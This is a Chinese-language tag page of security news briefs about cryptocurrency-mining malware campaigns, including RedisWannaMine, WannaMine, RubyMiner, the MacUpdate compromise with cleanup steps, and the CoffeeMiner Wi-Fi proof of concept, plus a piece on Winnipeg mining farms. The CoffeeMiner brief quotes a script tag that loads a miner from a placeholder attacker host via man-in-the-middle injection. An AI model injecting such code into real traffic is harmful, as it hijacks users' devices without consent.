标签: 矿工

恶意活动针对 Windows、Redis 及 Apache 服务器安装加密货币矿工

外媒 3 月 12 日消息,来自 ISC SANS 组织和安全公司 Imperva 的研究人员发现了两个针对 Windows Server、Redis 以及 Apache Solr 服务器的恶意活动 — 攻击者试图针对这些未打补丁的服务器安装加密货币矿工。 第一个活动被称为 RedisWannaMine,主要针对的目标对象是 Redis 和 Windows Server 服务器。研究人员发现攻击者通过大规模的网络扫描来寻找运行过时 Redis 版本的系统,以触发 CVE-2017-9805 漏洞。 研究人员观察到,RedisWannaMine 通过执行脚本来下载一个公共可用的工具 masscan ,在将其存储到 Github 存储库后,编译并安装它。一旦获得访问主机的权限,攻击者将放弃 ReddisWannaMine 恶意软件作为第一阶段 playload,并安装第二阶段的加密货币矿工。 RedisWannaMine 通过 EternalBlue (永恒之蓝)进行传播,并且具有类似蠕虫的行为, 但它在逃避技术和功能方面更为复杂:RedisWannaMine 结合先进的攻击手段来增加感染率,从而获取更大的利益。除此之外,ReddisWannaMine 活动也显示了其自传播蠕虫的经典行为模式。 第二次采矿活动是通过利用 CVE-2017-12629 漏洞攻击 Apache Solr 服务器。根据 ISC SANS 发布的分析报告,在 2 月 28 日至 3 月 8 日这段时间内,这场活动共感染了 1777 个服务器, 其中有 1416个 是 Apache Solr。 研究人员认为这两项活动都只是冰山一角,未来还会出现越来越多针对加密货币行业的攻击事件。 消息来源:Security Affairs,编译:榆榆,校审:FOX; 本文由 HackerNews.cc 编译整理,封面来源于网络; 转载请注明“ 转自 HackerNews.cc ” 并附上原文链接。

黑客渗透热门软件下载网站 MacUpdate 分发 Mac 加密货币矿工

外媒 2 月 6 日报道,网络安全公司 SentinelOne 的安全研究员发现,黑客利用热门的软件下载网站 MacUpdate 向 Mac 用户分发一个名为 OSX.CreativeUpdate 的加密货币挖掘矿工,其主要目的是通过劫持用户设备的 CPU,秘密窃取门罗币 。 据研究人员介绍,MacUpdate 网站提供的软件官方下载链接遭到黑客替换,从而导致用户设备受到感染。除此之外,这些假冒链接的域名还做了细微改变,使其看起来合法且令人信服。一旦用户下载安装,合法网站 public.adobecc.com 会被迫使安装一个有效负载,并试图打开原始应用程序的副本作为诱饵来触发恶意软件激活。 目前通过调查发现 Firefox、OnyX 和 Deeper 等应用被黑客替换了下载链接。研究人员认为黑客选择这三个应用程序的原因在于它们都是由 Platypus 开发的。因为 Platypus 开发工具可以从各种脚本(如 shell 或 Python 脚本)中生成完整的 macOS 应用程序,这意味着创建应用程序的门槛并不是很高。 据悉,MacUpdate 方面已针对该事件向用户表示了歉意,并就如何删除恶意软件提供了相关说明。 1、删除 可能已安装的上述应用[ Firefox、Onyx、Deeper ]的任何副本。 2、下载并安装应用的新副本。 3、在 Finder 中,打开主目录的窗口( Cmd-Shift-H )。 4、如果 Library 文件夹没有显示,按住 Option / Alt 键,点击“ Go ” 菜单,选择 “ Library(Cmd-Shift-L)”。 5、向下滚动找到 “ mdworker ” 文件夹(〜/ Library / mdworker /)。 6、删除整个文件夹。 7、向下滚动找到 “ LaunchAgents ” 文件夹(〜/ Library / LaunchAgents /)。 8、从该文件夹删除 “ MacOS.plist ” 和 “ MacOSupdate.plist ”(〜/ Library / LaunchAgents / MacOS.plist 和 〜/ Library / LaunchAgents / MacOSupdate.plist)。 9、清空垃圾。 10、重新启动系统。 MacUpdate  负责人建议用户在下载软件之前检查其是否合法,不要完全相信第三方网站或 Mac App Store 上的星级或评论,因为这些内容可能是伪造的。 消息来源:IBTimes,翻译:榆榆,校审:FOX; 本文由 HackerNews.cc 编译整理,封面来源于网络; 转载请注明“ 转自 HackerNews.cc ” 并附上原文链接。

挖矿蠕虫 WannaMine:通过 NSA “永恒之蓝” 漏洞传播高级加密矿工

外媒 2 月1 日报道,安全公司 CrowdStrike 发现了一款名为 WannaMine 的新型 Monero 加密挖掘蠕虫,其利用与 NSA 相关的 EternalBlue (“ 永恒之蓝 ” )漏洞进行传播。据研究人员测试,WannaMine 能够感染从 Windows 2000 起的所有 Windows 系统(包括 64 位版本和 Windows Server 2003),并使其设备性能明显下降。 CrowdStrike 称目前一些矿业的日常运营已受到 WannaMine 影响,比如由于如此高的 CPU 利用率,导致矿业公司的系统以及应用程序崩溃。 研究人员经过分析后发现 WannaMine 的恶意代码十分复杂,因为它实现了一种类似于国家赞助的 APT 组织所使用的扩散机制和持久性模型。更详细地解释是:WannaMine 利用 Windows 管理工具( WMI )永久事件订阅来在受感染的系统上获得持久性。当注册一个永久事件订阅后,WannaMine 将在事件使用者中每 90 分钟执行一个 PowerShell 命令。 研究人员注意到,WannaMine 使用凭证收割机 Mimikatz 来收集用户凭据,从而达到横向移动的目的,但如果不能够横向移动的话,WannaMine 将更依赖于 EternalBlue 的利用。 相关报告: <Threat Hunting, the Investigation of Fileless Malware Attacks> 消息来源:Security Affairs,编译:榆榆,校审:FOX; 本文由 HackerNews.cc 编译整理,封面来源于网络; 转载请注明“ 转自 HackerNews.cc ” 并附上原文链接。

RubyMiner 恶意软件入侵过时服务器挖掘加密货币

安全研究人员近期观察到一种在线部署的新型恶意软件 RubyMiner ——这是一种在被遗忘的网络服务器上发现的加密货币矿工 。据 Check Point 和 Certego 发布的研究结果以及研究员从 Ixia 收到的信息表明,攻击事件始于上周 1 月 9 日至 10 日。 攻击 Linux 和 Windows 服务器 Ixia 安全研究员 Stefan Tanase 指出,RubyMiner 的目标是 Windows 和 Linux 系统。恶意软件 RubyMiner 背后的团队使用一个名为 p0f 的 web 服务器指纹工具来扫描和识别运行过时软件的 Linux 和 Windows 服务器。一旦识别到未打补丁的服务器,攻击者就可以将已知的漏洞部署在易受攻击的服务器上,然后用 RubyMiner 来感染他们。 Check Point 和 Ixia 表示,他们已经观察到攻击者在最近的攻击浪潮中部署了以下漏洞: ◍ Ruby on Rails XML处理器 YAML 反序列化代码执行(CVE-2013-0156) ◍ PHP php-cgi 查询字符串参数代码执行(CVE-2012-1823;CVE-2012-2311; CVE-2012-2335;CVE -2012-2336;CVE-2013-4878) ◍ 微软 IIS ASP 脚本的源代码泄露(CVE-2005-2678 ) 攻击者将恶意代码隐藏在 robots.txt 文件中 在上周发布的一份报告中,Check Point 根据从 honeypot 服务器收集的数据,在 Linux 系统上分解了 RubyMiner 的感染例程,并从中认识到攻击者在某些方面的创造力: ▨ 可利用代码包含了一系列 shell 命令 ▨ 攻击者清除了所有的 cron 作业 ▨ 攻击者添加了一个新的计时 cron 作业 ▨ 新的 cron 作业下载了在线托管的脚本 ▨ 该脚本托管在多个域的 robots.txt 文件内 ▨ 脚本下载并安装合法的 XMRig Monero 矿工应用程序修改版本。 Check Point 安全研究员 Lotem Finkelstein 则表示,目前攻击者瞄准了 Windows IIS 服务器,但是并没有获得 RubyMiner 的 Windows 版本副本。此外 ,Check Point 称 2103 年的一起恶意软件活动部署了与 RubyMiner 相同的 Ruby on Rails 漏洞, Check Point 猜测其背后团队很可能正试图扩展 RubyMiner 。 Monero 采矿恶意软件的发展趋势日益明显 总体而言,近几个月来传播加密货币挖掘恶意软件的尝试有所增加,尤其是挖掘 Monero 的恶意软件。 除了密码劫持事件(也是 Monero )之外,2017 年的一些 Monero 挖掘恶意软件家族和僵尸网络还包括 Digmine、针对 WordPress 网站的未知僵尸网络、Hexmen、Loapi、Zealot、aterMiner、 针对 IIS 6.0 服务器的未知僵尸网络、CodeFork 以及 Bondnet 等。而就在 2018 年的前两个星期,已经出现了针对 Linux 服务器的 PyCryptoMiner 和另外一个针对 Oracle WebLogic 服务器的组织。大多数针对 Web 服务器的事件中,研究人员发现攻击者试图使用最近的漏洞攻击,因为会有更多易感染的机器。但奇怪的是,RubyMiner 攻击者却使用非常古老的漏洞,并且大多数安全软件都能检测到这些漏洞。 据研究员 Finkelstein 透露,RubyMiner 攻击者可能是故意寻找被遗弃的机器,比如被遗忘的个人电脑和带有旧操作系统的服务器 ,感染设备后确保在安全雷达下进行长时间的采矿。 RubyMiner 团伙已感染 700 多台服务器 根据 RubyMiner 恶意软件部署的自定义 XMRig 矿工中发现的钱包地址,Check Point 初步统计受到 RubyMiner 感染的服务器数量在 700 个左右,攻击者的收入约为  540  美元。一些专家认为若攻击者开始使用最近的漏洞,其幕后团队可能会赚取更多的钱。例如,一个从 2017 年 10 月开始针对 Oracle WebLogic 服务器的黑客组织就曾获利 226,000 美元 。 消息来源:Bleeping Computer,编译:榆榆,校审:FOX; 本文由 HackerNews.cc 编译整理,封面来源于网络; 转载请注明“ 转自 HackerNews.cc ” 并附上原文链接。

新型 CoffeeMiner 攻击:劫持公共 Wi-Fi 用户设备秘密挖掘门罗币

据外媒 1 月 6 日报道,开发商 Arnau 发布了一个名为 CoffeeMiner 的概念证明项目,展示了攻击者如何利用公共 Wi-Fi 网络来挖掘加密货币。 加密货币的价格上涨使其一直受到网络攻击者的青睐。不久前,黑客就瞄准了星巴克里 “ 蹭网 ” 的笔记本,将其变成了自己的矿机疯狂挖掘门罗币(与比特币类似的一种加密货币)。 Arnau 专家受到了星巴克案件的启发,破解公共 Wi-Fi 网络,将加密挖掘代码注入到连接的浏览会话中,迫使连入 公共 Wi-Fi 网络的所有设备秘密挖掘加密货币。 Arnau 解释了如何在连接的用户访问的 html 页面中为 MITM (中间人)攻击注入一些 javascript ,这样做所有连接到 WiFi 网络的设备都可以强制成为 Arnau 的加密货币。 Arnau 专家分享 CoffeeMiner 攻击方式: 通过欺骗局域网上的地址解析协议(ARP)消息拦截网络上其他设备的未加密传输。 使用 Mitmproxy 将 JavaScript 注入到 Wi-Fi 用户访问的页面中。 为了保证过程简洁,开发人员只注入了一行调用加密货币矿工的代码。 <script src="http://httpserverIP:8000/script.js" type="text/javascript"></script> 然后,通过一个 HTTP 服务器服务该挖掘器。当用户的浏览器加载带有注入代码的页面时,运行 JavaScript 滥用 CPU 时间,并使用 CoinHive 加密挖掘软件挖掘 Monero 。 一旦编译完成,这些元素就会成为一个单独的脚本,可以由攻击者在公共 Wi-Fi 网络上部署。不知情的用户通过由攻击者控制的服务器重新路由,导致其设备在浏览时挖掘加密货币。 目前研究人员发布的 CoffeeMiner 版本尚不支持 HTTPS,但是可以通过添加 sslstrip 来绕过限制。 相关阅读: 研究人员发布的 CoffeeMiner 攻击演示视频  Arnau 在GitHub上发布的 CoffeeMiner 项目代码 消息来源:Security Affairs、Zdnet,编译:榆榆,校审:FOX; 本文由 HackerNews.cc 编译整理,封面来源于网络; 转载请注明“ 转自 HackerNews.cc ” 并附上原文链接。

北美“ 淘金潮 ”? 数字货币挖矿者正涌向这座加国小城

如同 18 世纪美国西部的淘金潮一样,加拿大的马尼托巴省(Manitoba)的小城温尼伯(Winnipeg)正在成为数字货币矿工向往的淘金圣地。近日,加拿大媒体 CBC 消息称,一大批来自全球各地的数字货币投资者将温尼伯视为开设矿场的最佳场所,他们拜访了当地的地产商、电力部门等机构。 在温尼伯拥有 2 万英亩低成本商业用地的 CentrePort 公司表示,很早就有亚洲、南美洲投资者觊觎这些土地,该公司负责人透露:“ 我们也遇到非亚洲的大型公司前来咨询,其中一些公司在北美已有很大的发展,正寻求大规模扩张。” 数字货币挖矿投资者为何向往温尼伯呢?原因有两大方面:当地电价非常便宜、年均气温偏低。 统计显示,在北美洲 20 个主要城市中,温尼伯电价最低,每千瓦时仅需约 0.05 加元(约 0.26 元人民币)。相比之下,纽约、多伦多等地每千瓦时电费都超过 0.14 加元,接近温尼伯电价的三倍。 数字货币挖矿往往需要消耗大量电能,以比特币为例,Digicomist 统计显示,截至今年 11 月 20 日,比特币 “ 挖矿 ” 一年耗费的电能达到 29.05 万亿瓦时,约占全球电能总消耗量的 0.13 %。这已经超过了全球 159 个国家和地区的电能消耗量,包括西欧的爱尔兰和拥有近 2 亿人口的尼日利亚。 电费也成为比特币生产过程中最主要的成本,且随着时间推移,“ 挖 ” 一枚比特币所需的电能在不断增加,伦敦 ETF 证券公司的研究和投资策略主管 James Butterfill 向彭博社表示,估计今年第四季度生产一枚比特币的成本为 6611 美元,到 2018 年第二季度将上升至每枚 14175 美元。 因此,温尼伯低廉的电费价格自然成为了吸引数字货币挖矿者的主要原因。 此外,由于矿机工作时发热严重,温尼伯偏低的气温很适合数字货币矿机散热。据统计,温尼伯年平均气温低于10摄氏度,与俄罗斯的莫斯科相当。 不过,由于数字货币挖矿需要消耗大量电能,温尼伯目前可以提供给挖矿者的适宜场所并不多。有当地数字货币领域知情者向 CBC 表示,如果算上潜在的挖矿耗电需求,温尼伯电力机构需要额外提供大约 1900 户当地家庭的用电量。 温尼伯电力机构还没有决定对电力设备升级,从而提供额外的电能供应,因为电力机构的官员们仍在怀疑数字货币兴起是不是一时的泡沫,提前升级设备可能太过草率。 稿源:cnBeta、全天候科技,封面源自网络;